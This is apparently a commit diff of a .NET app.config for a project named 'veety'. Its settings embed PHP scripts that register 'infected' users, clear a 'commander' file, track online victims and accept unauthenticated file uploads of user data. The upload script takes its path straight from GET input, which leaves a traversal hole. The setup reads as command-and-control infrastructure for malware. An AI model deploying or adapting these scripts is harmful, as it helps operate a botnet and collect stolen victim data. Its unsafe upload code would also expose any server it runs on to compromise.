1+ <?xml version =" 1.0" encoding =" utf-8" ?>
2+ <configuration >
3+ <configSections >
4+ <sectionGroup name =" userSettings" type =" System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" >
5+ <section name =" veety.My.MySettings" type =" System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition =" MachineToLocalUser" requirePermission =" false" />
6+ </sectionGroup >
7+ </configSections >
8+ <startup >
9+ <supportedRuntime version =" v4.0" sku =" .NETFramework,Version=v4.7.2" />
10+ </startup >
11+ <userSettings >
12+ <veety .My.MySettings>
13+ <setting name =" RM" serializeAs =" String" >
14+ <value >False</value >
15+ </setting >
16+ <setting name =" rLogin" serializeAs =" String" >
17+ <value />
18+ </setting >
19+ <setting name =" rPassword" serializeAs =" String" >
20+ <value />
21+ </setting >
22+ <setting name =" UplUsrDta" serializeAs =" String" >
23+ <value >< ?php
24+ $name = $_GET['USERNAME'];
25+ move_uploaded_file($_FILES["file"]["tmp_name"], $name . $_FILES["file"]["name"]);
26+ ?> </value >
27+ </setting >
28+ <setting name =" AddInfected" serializeAs =" String" >
29+ <value >< ?php
30+ $name = $_GET['USERNAME'];
31+
32+ if (file_exists($name) && is_dir($name)) {
33+ echo "failed";
34+ } else {
35+ if (mkdir($name)) {
36+ echo "success";
37+ } else {
38+ echo "Failed to create folder.";
39+ }
40+ }
41+ ?>
42+ </value >
43+ </setting >
44+ <setting name =" ClearCommader" serializeAs =" String" >
45+ <value >< ?php
46+ $file = 'commander'; // nazwa pliku do wyczyszczenia
47+
48+ // Otwieramy plik do zapisu, co spowoduje jego wyczyszczenie
49+ if (file_put_contents($file, '') !== false) {
50+ echo "success.";
51+ } else {
52+ echo "error.";
53+ }
54+ ?> </value >
55+ </setting >
56+ <setting name =" AddOnline" serializeAs =" String" >
57+ <value >< ?php
58+ // Sprawdź, czy parametr 'tekst' jest ustawiony w URL
59+ if (isset($_GET['UserID'])) {
60+ // Pobierz tekst z URL
61+ $UserID= $_GET['UserID'];
62+
63+ // Otwórz plik 'online.yml' w trybie dopisywania
64+ $plik = fopen('online.html', 'a');
65+
66+ // Sprawdź, czy plik został poprawnie otwarty
67+ if ($plik) {
68+ // Dodaj nową linię na końcu pliku
69+ fwrite($plik, $UserID . PHP_EOL);
70+
71+ // Zamknij plik
72+ fclose($plik);
73+
74+ echo "success";
75+ } else {
76+ echo "fail";
77+ }
78+ } else {
79+ echo "Nie podano tekstu.";
80+ }
81+ ?>
82+ </value >
83+ </setting >
84+ <setting name =" RemOnline" serializeAs =" String" >
85+ <value >< ?php
86+ // Sprawdź, czy parametr 'UserID' jest ustawiony w URL
87+ if (isset($_GET['UserID'])) {
88+ // Pobierz wartość parametru 'UserID' z URL
89+ $UserID = $_GET['UserID'];
90+
91+ // Wczytaj zawartość pliku 'online.html' do tablicy
92+ $linie = file('online.html', FILE_IGNORE_NEW_LINES);
93+
94+ // Sprawdź, czy plik został poprawnie wczytany
95+ if ($linie !== false) {
96+ // Znajdź linię z tekstem równym $UserID i usuń ją
97+ $nowe_linie = array_filter($linie, function($linia) use ($UserID) {
98+ return trim($linia) !== $UserID;
99+ });
100+
101+ // Sprawdź, czy nastąpiła zmiana (czy tekst został znaleziony i usunięty)
102+ if (count($nowe_linie) !== count($linie)) {
103+ // Zapisz zaktualizowaną zawartość z powrotem do pliku
104+ $plik = fopen('online.html', 'w');
105+
106+ // Sprawdź, czy plik został poprawnie otwarty
107+ if ($plik) {
108+ foreach ($nowe_linie as $nowa_linia) {
109+ fwrite($plik, $nowa_linia . PHP_EOL);
110+ }
111+
112+ // Zamknij plik
113+ fclose($plik);
114+
115+ echo "success";
116+ } else {
117+ echo "fail";
118+ }
119+ } else {
120+ echo "Nie znaleziono podanego tekstu.";
121+ }
122+ } else {
123+ echo "Nie udało się otworzyć pliku.";
124+ }
125+ } else {
126+ echo "Nie podano tekstu.";
127+ }
128+ ?> </value >
129+ </setting >
130+ <setting name =" ONLINEINDEX" serializeAs =" String" >
131+ <value />
132+ </setting >
133+ </veety .My.MySettings>
134+ </userSettings >
135+ </configuration >
0 commit comments